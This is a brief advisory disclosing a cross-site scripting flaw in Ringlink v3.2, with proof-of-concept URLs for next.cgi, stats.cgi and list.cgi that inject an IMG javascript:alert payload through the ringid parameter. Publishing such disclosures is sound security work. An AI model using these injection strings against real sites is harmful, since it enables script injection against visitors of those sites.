Ringlink v3.2 Homepage: http://www.ringlink.org Effected files: next.cgi stats.cgi list.cgi XSS Vulnerability PoC: http://www.example.com/ringlink/next.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')] http://www.example.com/ringlink/stats.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')] http://www.example.com/ringlink/list.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]